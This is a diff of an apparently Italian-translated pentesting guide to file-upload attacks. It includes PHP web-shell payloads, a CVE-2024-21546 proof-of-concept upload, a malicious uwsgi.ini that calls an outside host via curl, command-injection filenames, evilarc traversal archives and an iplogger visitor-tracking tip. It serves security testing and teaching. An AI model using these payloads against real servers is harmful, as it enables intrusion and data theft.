2. _Controlla **aggiungendo una estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
|
||||
1. Se vengono applicati, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere MAIUSCOLE**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** di tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_)
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per fare **bruteforce** su tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Altre estensioni utili:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
||||
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o l'**inserimento di dati di junk** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@ Altre estensioni utili:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Aggiungi **un ulteriore livello di estensioni** ai controlli precedenti:
|
||||
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Prova a mettere l'**estensione eseguibile prima** della estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione **.php**, ma **non necessariamente terminante in .php**, eseguirà codice):
|
||||
6. Prova a mettere l'**estensione eseguibile prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi cosa con estensione **.php**, anche se non termina in .php, eseguirà il codice):
|
||||
- _ex: file.php.png_
|
||||
7. Usare gli **NTFS alternate data stream (ADS)** su **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe essere modificato più tardi usando altre tecniche come il suo short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”)
|
||||
8. Prova a superare i limiti di lunghezza del nome file. L'estensione valida viene troncata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti ":" verrà inserito dopo un'estensione proibita e prima di una permessa. Di conseguenza, un **file vuoto con l'estensione proibita** sarà creato sul server (es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente usando altre tecniche come il suo short filename. Il pattern "**::$data**" può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.")
|
||||
8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E rimane il PHP malevolo. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,46 +59,76 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Bypass dei controlli **Content-Type** impostando il **valore** dell'header **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
|
||||
Alcuni upload handler rimuovono o normalizzano i punti finali dal nome file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione dell'estensione mediante:
|
||||
|
||||
- Usare un MIME immagine valido e l'header magic (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nominare il file caricato con un'estensione PHP seguita da un punto, e.g., `shell.php.`.
|
||||
- Il server rimuove il punto finale e salva `shell.php`, che verrà eseguito se posizionato in una directory servita dal web (default public storage come `/storage/files/`).
|
||||
|
||||
PoC minimale (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Poi accedi al percorso salvato (tipico in Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Aggiornare unisharp/laravel-filemanager a ≥ 2.9.1.
|
||||
- Imporre allowlists lato server rigorose e rieseguire la validazione del filename persistito.
|
||||
- Servire gli uploads da posizioni non eseguibili.
|
||||
|
||||
### Bypass di Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (per confondere il comando _file_). Oppure inserire la shell all'interno dei **metadata**:\
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se viene applicata una **compressione** all'immagine, ad esempio usando alcune librerie standard PHP come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk PLTE [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La pagina web potrebbe anche **ridimensionare** l'immagine, usando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk IDAT [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il chunk tEXt [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Altri trucchi da verificare
|
||||
|
||||
- Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione).
|
||||
- Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
|
||||
- **Possibili divulgazioni di informazioni**:
|
||||
1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
|
||||
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
|
||||
3. Caricare un file con **".", ".." o "..." come nome**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file uploadati in "/www/uploads/" la filename "." creerà un file chiamato "uploads" in "/www/".
|
||||
4. Carica un file che potrebbe non essere eliminato facilmente come **"...:.jpg"** su **NTFS**. (Windows)
|
||||
5. Carica un file su **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows)
|
||||
6. Carica un file su **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
|
||||
- **Possibile divulgazione di informazioni**:
|
||||
1. Caricare **più volte** (e nello **stesso momento**) lo **stesso file** con lo **stesso nome**
|
||||
2. Caricare un file con il **nome** di un **file** o **cartella** che **esiste già**
|
||||
3. Caricare un file con **".", "..", or "..." come nome**. Per esempio, in Apache su **Windows**, se l'app salva i file uploadati nella directory "/www/uploads/", il file con nome "." creerà un file chiamato "uploads" nella directory "/www/".
|
||||
4. Caricare un file che potrebbe non essere facilmente eliminabile come **"…:.jpg"** su **NTFS**. (Windows)
|
||||
5. Caricare un file su **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
|
||||
6. Caricare un file su **Windows** usando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Prova anche a **caricare un eseguibile** (.exe) o una **.html** (meno sospetta) che **eseguirà codice** quando aperta accidentalmente dalla vittima.
|
||||
|
||||
### Trucchi con estensioni speciali
|
||||
### Trucchi per estensioni speciali
|
||||
|
||||
Se stai cercando di caricare file su un server **PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Se stai cercando di caricare file su un server **ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Se stai tentando di caricare file su un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Se stai tentando di caricare file su un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
I file `.phar` sono come i `.jar` per Java, ma per PHP, e possono essere **usati come un file php** (eseguiti con php, o inclusi dentro uno script...)
|
||||
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...)
|
||||
|
||||
L'estensione `.inc` è a volte usata per file php che servono solo per **includere altri file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venisse eseguita**.
|
||||
L'estensione `.inc` è talvolta usata per file php che servono solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione sia eseguibile**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE perché i nuovi \*.xml e \*.war vengono processati automaticamente](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspetta la shell!
|
||||
Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,9 +136,9 @@ Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE perché i nuo
|
||||
|
||||
Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', usato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo la lettura dei dati dallo standard output di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`.
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate sui server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione di uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è pensato per includere il contenuto di un file. Tra i vari supported schemes in uWSGI, lo scheme "exec" è particolarmente potente, permettendo la lettura di dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`.
|
||||
|
||||
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
|
||||
Considera il seguente esempio di un `uwsgi.ini` dannoso, che mostra vari scheme:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.
|
||||
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione sia attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service attack) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.
|
||||
|
||||
È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. Più nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della potenziale exploitation.
|
||||
È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo di potenziale sfruttamento.
|
||||
|
||||
## **wget File Upload/SSRF Trucco**
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
In alcune occasioni potresti scoprire che un server sta usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questa verifica può essere bypassata.**\
|
||||
|
||||
La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **bypass** il **controllo** (poiché in questo esempio **".gif"** è un'**estensione valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**.
|
||||
In alcune occasioni potresti trovare che un server utilizza **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere aggirato.**\
|
||||
La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **aggira** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -157,33 +186,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
|
||||
Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo ma poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
|
||||
|
||||
## Tools
|
||||
## Strumenti
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
### Corruzione degli indici di upload dovuta alle particolarità di snprintf (storico)
|
||||
|
||||
Alcuni handler di upload legacy che usano `snprintf()` o funzioni simili per costruire array multi-file da un singolo upload possono essere ingannati nel falsificare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload appositamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come upload multi-file e prendendo branche non sicure). Pur essendo niche oggi, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più datate.
|
||||
Alcuni gestori di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un upload a file singolo possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incongruenze e troncamenti nel comportamento di `snprintf()`, un singolo upload accuratamente costruito può apparire come più file indicizzati lato server, confondendo logiche che assumono una forma rigida (ad es., trattarlo come un upload multi-file e prendere branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più vecchie.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## Da upload di file ad altre vulnerabilità
|
||||
|
||||
- Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal**
|
||||
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere una **SQL injection**
|
||||
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una **XSS**
|
||||
- Imposta **filename** su `; sleep 10;` per testare qualche command injection (more [command injections tricks here](../command-injection.md))
|
||||
- Imposta **filename** su `; sleep 10;` per testare qualche command injection (più [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Prova **diversi svg payloads** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se puoi **indicare al web server di recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
|
||||
- Se puoi **istruire il web server a recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in un sito **pubblico**, puoi anche indicare un URL di [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDF appositamente costruiti per XSS: la [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Verifica se esiste un **limite di dimensione** per l'upload dei file
|
||||
- PDF appositamente creati per XSS: la [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite.
|
||||
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per verificare se il server ha qualche **antivirus**
|
||||
- Verifica se esiste un **limite di dimensione** per il caricamento dei file
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -207,18 +236,18 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
|
||||
Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Upload di Zip/Tar decompressi automaticamente
|
||||
|
||||
Se puoi uploadare una ZIP che verrà decompressa all'interno del server, puoi fare 2 cose:
|
||||
Se puoi caricare uno ZIP che verrà decompresso sul server, puoi fare 2 cose:
|
||||
|
||||
### Symlink
|
||||
|
||||
Carica un archivio contenente soft link ad altri file, quindi, accedendo ai file decompressi accederai ai file linkati:
|
||||
Carica un archivio che contenga symlink a altri file; accedendo ai file decompressi potrai accedere ai file linkati:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -226,18 +255,18 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decomprimere in cartelle diverse
|
||||
|
||||
La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello OS tramite upload di file malevoli, il supporto gerarchico della compressione e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di aggirare le restrizioni e uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
|
||||
L'inaspettata creazione di file nelle directory durante la decompressione è un problema significativo. Nonostante l'assunzione iniziale che questa configurazione potesse proteggere dall'OS-level command execution tramite malicious file uploads, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attackers di bypassare le restrizioni e uscire dalle secure upload directories manipolando la funzionalità di decompressione dell'applicazione target.
|
||||
|
||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere usata come mostrato:
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovresti creare un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua operazione.
|
||||
